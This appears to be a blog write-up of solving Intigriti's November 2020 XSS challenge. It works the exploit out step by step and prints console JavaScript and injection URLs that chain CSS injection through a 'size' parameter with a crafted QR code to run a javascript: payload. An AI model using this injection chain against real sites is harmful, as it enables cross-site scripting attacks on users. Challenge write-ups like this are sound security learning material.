Solving Intigriti’s November XSS Challenge 2020 With the JavaScript Console.

GrumpinouT
Nov 9, 2020 · 5 min read

Like you should do with every challenge, I started with reading the rules. Those were clear. The goal was to execute alert(document.domain) on the challenge-1120.intigriti.io domain, without using self-xss or MiTM attacks. The attack should work in the latest version of Chrome and Firefox.

Image for post
Image for post

While looking at the html of the page, I quickly noticed that the QR code was an iframe with a page that accepts a parameter ‘URL’ in the URL and displays the URL in the form of a QR code. When the code is clicked, the url will be opened in a new tab.

Image for post
Image for post

On the challenge page itself, there was no way to inject something, so I focused on the page from the iframe (https://challenge-1120.intigriti.io/qr.html?url=https://go.intigriti.com/submit-solution)

In the JavaScript file of this page, the URL parameter is being validated (it must start with http:// or https://). It looks like this can’t be bypassed. The domain itself is not being verified. This means we can use this page for open redirects. But for this challenge we must find xss, not open redirects, so I continue the search.

The next thing I noticed was that the JavaScript also checks for size parameter in the URL. The value of this parameter gets injected in the style attribute of the QR code’s container. Via this parameter it is possible to inject CSS for this html element.

Image for post
Image for post

I started researching on xss via css, but all I found were outdated payloads that worked in older browsers. For a moment I was stuck on this, but a little later the 4th tip was given on Twitter. It was the cover of the movie Paddington, so I probably must use some padding in the CSS. I looked again in the JavaScript and noticed that the function scanCode() executes window.open(code.data). code.data is the content of the scanned QR. If this content is “javascript:alert(document.domain)”, a new page gets opened, with an alert. So, all I must do is find a way to make the scanner read my QR instead of the one generated from the URL parameter.

Image for post
Image for post
Image for post
Image for post

One of my first thoughts was to add a background image of a QR code with our payload. In order to be visible, I used padding-top: <size of QR in px>. And to be completely clean, set the height to 0 and overflow hidden.

Example:

https://challenge-1120.intigriti.io/qr.html?url=https://www.intigriti.com/researcher/programs/intigriti/challenge1120/detail?size=100px;padding-top:100px;background:url(“<url-to-image>”);overflow:hidden;height:0

Now only our own QR is visible. Unfortunately, when clicked. The JavaScript returns that the code could not be read. I started debugging and put my breakpoint on the line where the canvas gets deleted.

The canvas is a copy of the html containing the QR and is used by the scanner to read it. I removed the display: hidden line from the canvas’ style and found out it was empty. For some reason the function html2canvas couldn’t read our image. After some googling, I found out this is a problem with cross origin resource sharing (CORS), the way to bypass this, is to encode the image as base64. But putting the encoded image in the URL, made it too long so I got a 414 response. I quickly gave up this solution and searched for hours for another one. But all I found were solutions in JavaScipt, and we have no way to inject it. I took a break and went for a run, and when I came back, I started Googling on the base64 again. I found out about the js function toDataURL, which can be used on a canvas element to convert it to an image in base64 format. It can be given a second parameter to determine the image quality of the image. By copying some of the JavaScript and pasting it in the console, I created the malicious QR and put it in a canvas.

/*
Create QR code with our xss
*/
code1 = new QRCode({
content: "javascript:alert(document.domain)",
color: "#ef3257",
width : parseInt(size),
height : parseInt(size)
});

/*
Transform the QR data to an svg
*/
svg1 = code1.svg();

/*
Select the svg tag and insert our new svg, in front of it.
*/
container1 = document.querySelector("svg");
container1.insertAdjacentHTML('beforeBegin', svg1);

/*
Convert the svg to a canvas
*/
html2canvas(document.querySelector("#qr"), {scale : devicePixelRatio, width : parseInt(size), height : parseInt(size)}).then(canvas => {
document.body.appendChild(canvas);
});

Then, I converted the canvas to a jpeg in base64 format and reduced the quality to 0.5.

window.location.href = "/qr.html?url=https://go.intigriti.com/submit-solution&size=100;padding-top:100px;overflow:hidden;background:url('" + document.querySelector("canvas").toDataURL("image/jpeg", 0.5) + "');height:0";

After executing the above JavaScript, I got back an empty page, with an error in the console, that the URL of the image was invalid. After comparing the invalid URL with a valid one, I found out this was because the ‘+’ signs in the url got translated into a space. To resolve this issue, surround the toDataURL function with “encodeURIComponent()”:

window.location.href = "/qr.html?url=https://go.intigriti.com/submit-solution&size=100;padding-top:100px;overflow:hidden;background:url('" + encodeURIComponent(document.querySelector("canvas").toDataURL("image/jpeg", 0.5)) + "');height:0";

When the above js code is executed, you can click the QR code and the xss gets executed.

Challenge solved!

Medium is an open platform where 170 million readers come to find insightful and dynamic thinking. Here, expert and undiscovered voices alike dive into the heart of any topic and bring new ideas to the surface. Learn more

Follow the writers, publications, and topics that matter to you, and you’ll see them on your homepage and in your inbox. Explore

If you have a story to tell, knowledge to share, or a perspective to offer — welcome home. It’s easy and free to post your thinking on any topic. Write on Medium

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store